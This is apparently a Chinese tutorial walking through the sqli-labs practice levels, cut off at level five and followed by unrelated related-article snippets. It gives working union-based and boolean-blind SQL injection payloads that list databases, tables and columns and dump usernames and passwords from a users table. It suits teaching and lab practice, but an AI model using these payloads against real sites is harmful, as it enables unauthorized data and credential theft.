大多情况下:SQL注入其实就是构造正确的mysql命令,让网页回显本不应该让我们看到的数据(如用户的账号和密码)。

第一关-联合查询注入
  • 查库

// 查看当前页面在的数据库

?id=-1' union select 1,2,database();--+
//一个一个的查
?id=-1' union select 1,2, schema_name from information_schema.schemata limit 1,1; --+
//查看所有数据库
?id=-1' union select 1,2, group_concat(schema_name) from information_schema.schemata; --+
  • 查表

//一个一个的查
?id=-1' union select 1,2, table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1; --+
//查所有表
?id=-1' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479; --+
  • 查字段

//一个一个的查
?id=-1' union select 1,2, column_name from information_schema.columns where table_name=0x7573657273 limit 1,1;--+
//查所有字段
?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273;--+
  • 查值

//一个一个的查
?id=-1' union select 1,username,password from security.users limit 1,1;--+
//查所有值
?id=-1' union select 1,2, group_concat( concat_ws(0x7e,username,password) ) from security.users ;--+
√ 解析
  • 原理

    当我们传入参数id=1时,其实在后台执行的代码是

    SELECT * FROM users WHERE id='1' LIMIT 0,1;

    以查库为例,在mysql中我们要想知道当前我们所处的数据库名称会用database()函数,数据库会返回当前所在库名

    那么我们怎么让网页返回的值是我们想要其他的的值呢?

    显然我们要在输入1的位置做文章

    ?id=1'--+ (其中的单引号‘ ' ’用来闭合id,--+注释符把后面的命令注释掉)

    这样可以执行成功,此时后台执行的代码是

    SELECT * FROM users WHERE id='1';--+' LIMIT 0,1;

    --+后面的语句被注释已失效,显然SELECT * FROM users WHERE id='1';是一条完整且正确的命令

  • 开始构造

    我们采用联合查询语句继续构造

    输入

    ?id=-1' union select 1,2,database();--+

    显然数据的id是从1开始编写的,id=-1肯定不存在,默认返回‘执行后面的命令获得的数据’

    此时后台执行

    SELECT * FROM users WHERE id='-1' union select 1,2,database();--+' LIMIT 0,1;

    显然SELECT * FROM users WHERE id='-1' union select 1,2,database();是一条完整且正确的命令

    但是当我们注入某个网站时,用户的账号密码不一定就在‘网页当前所在数据库’里啊。其他的数据库名字我又不知道在怎么办?

    查!

    同样的我们构造

    ?id=-1' union select 1,2, schema_name from information_schema.schemata limit 1,1; --+ //一个一个的查

    这是一条通用命令,即查询数据库中所有库的名字

    limit 1,1表示从第一条数据开始数,下一条数据

    当然也可以

    limit 1,2 第三条数据

    limit 1,3 第四条数据

    ...

    从而遍历出所有数据

  • 什么?太麻烦了

    我们可以用grup_concat()一次查出所有数据,显然limit 1,1就没用了--> 扔掉!

    用法:把查的内容用函数包裹即可

    ?id=-1' union select 1,2, group_concat(schema_name) from information_schema.schemata; --+

    接着,同样的道理

    查表

    查字段

    (略)...

第二关-联合查询注入

id的闭合方式变为


id= 1
第三关-联合查询注入

id的闭合方式变为



id= (' 1 ')        

第四关-联合查询注入

id的闭合方式变为


id= (" 1 ")
第五关-BOOL型注入
  • 方法一


?id = 1 ' and left( ( database() ), 1 ) = 'a' ;--+

database() 部分换做

查库

select schema_name from information_schema.schemata limit 1,1

查表

select table_name from information_schema.tables limit 1,1

查字段

select table_name from information_schema.columns limit 1,1

查数据

select password from security.users limit 1,1

  • 方法二

Sqli-labs-master通关解析(持续更新中。。。)的更多相关文章

  1. 史上最全的spark面试题——持续更新中

    史上最全的spark面试题——持续更新中 2018年09月09日 16:34:10 为了九亿少女的期待 阅读数 13696更多 分类专栏: Spark 面试题   版权声明:本文为博主原创文章,遵循C ...

  2. git常用命令(持续更新中)

    git常用命令(持续更新中) 本地仓库操作git int                                 初始化本地仓库git add .                       ...

  3. java视频教程 Java自学视频整理(持续更新中...)

    视频教程,马士兵java视频教程,java视频 1.Java基础视频 <张孝祥JAVA视频教程>完整版[RMVB](东西网) 历经5年锤炼(史上最适合初学者入门的Java基础视频)(传智播 ...

  4. 《WCF技术剖析》博文系列汇总[持续更新中]

    原文:<WCF技术剖析>博文系列汇总[持续更新中] 近半年以来,一直忙于我的第一本WCF专著<WCF技术剖析(卷1)>的写作,一直无暇管理自己的Blog.在<WCF技术剖 ...

  5. HBase常见问题答疑解惑【持续更新中】

    HBase常见问题答疑解惑[持续更新中] 本文对HBase开发及使用过程中遇到过的常见问题进行梳理总结,希望能解答新加入的HBaser们的一些疑惑. 1. HTable线程安全吗? HTable不是线 ...

  6. 【github&&git】4、git常用命令(持续更新中)

    git常用命令(持续更新中) 本地仓库操作git int                                 初始化本地仓库git add .                       ...

  7. Flume的一些报错问题解决(持续更新中)

    严谨转载--否则追究法律责任 作者----王加鸿                                                   ----------bug 1---------- ...

  8. fastadmin 后台管理框架使用技巧(持续更新中)

    fastadmin 后台管理框架使用技巧(持续更新中) FastAdmin是一款基于ThinkPHP5+Bootstrap的极速后台开发框架,具体介绍,请查看文档,文档地址为:https://doc. ...

  9. 前端面试题总结——HTML(持续更新中)

    前端面试题总结--HTML(持续更新中) 1.什么是HTML? HTML:HyperText Markup Language超文本标记语言 2.XHTML和HTML有什么区别 HTML是一种基本的WE ...

  10. 2020年腾讯实习生C++面试题&持续更新中(5)

    2020年腾讯实习生C++面试题&持续更新中(5) 大家好呀,我是好好学习天天编程的天天~ 昨天一位小伙伴反馈已经拿到了腾讯offer,很是替小伙伴的激动~ 那今天还是持续给大家分享面经,希望 ...

随机推荐

  1. day-03-基础数据类型

    基础数类型总览 10203 123 3340 int +- * / 等等 '今天吃了没?' str 存储少量的数据,+ *int 切片, 其他操作方法 True False bool 判断真假 [12 ...

  2. django+x-admin管理后台模板开发管理后台案例(设计部分)

    使用django+x-admin管理后台模板搭建管理后台 一.环境需求 1.django:3.1 2.python:3.7 3.x-admin:2.2 4.pycharm:2020.3.2 5.ubu ...

  3. Dynamics CRM安装教程五:ADFS安装配置

    ADFS即联合身份认证是一种更加安全的身份验证方式下面开始进行ADFS打开服务器管理器,到添加角色和功能向导下一步到下面界面勾选Active Directory 联合身份认证服务,下一步 默认,下一步 ...

  4. UnitFourSummary

    目录 第四单元架构设计 taskOne taskTwo taskThree 四个单元架构设计与OO方法理解的演进 四个单元架构设计 UnitOne UnitTwo UnitThree UnitFour ...

  5. Spring Boot XSS 攻击过滤插件使用

    XSS 是什么 XSS(Cross Site Scripting)攻击全称跨站脚本攻击,为了不与 CSS(Cascading Style Sheets)名词混淆,故将跨站脚本攻击简称为 XSS,XSS ...

  6. Day01_08_变量(Variable)

    变量 什么是变量? *变量本质上来说是内存上的一块空间,这块空间有数据类型,有名字,有字面值(数据).变量是内存中存储数据最基本的单元 * 变量要求变量中存储的具体数据必须和变量的数据类型一致,必须先 ...

  7. 开坑:mysql相关问题

    一. 先过滤后连表和先连表后在mysql中选择的哪一种? 二. left join 和inner join使用场景有什么区别? 三. 第二个问题的衍生问题:left join中where 条件使用对n ...

  8. struct 模块

    1. Struct 简介 2. Struct 代码示例 2.1 struct.pack 2.2 struct.unpack 2.3 struct.calcsize 1. Struct 简介 当 pyt ...

  9. 展开说说,Spring Bean IOC、AOP 循环依赖

    作者:小傅哥 博客:https://bugstack.cn 沉淀.分享.成长,让自己和他人都能有所收获! 一.前言 延迟满足能给你带来什么? 大学有四年时间,但几乎所有人都是临近毕业才发现找一份好工作 ...

  10. git Windows下重命名文件,大小写敏感问题

    作为一个重度强迫症患者,是不忍受文件名,有字母大小拼写错误的,但是在git下,已是受控版本文件要改过来,要费些周章了. 一.环境 Widnows + git version 2.24.0 + Tort ...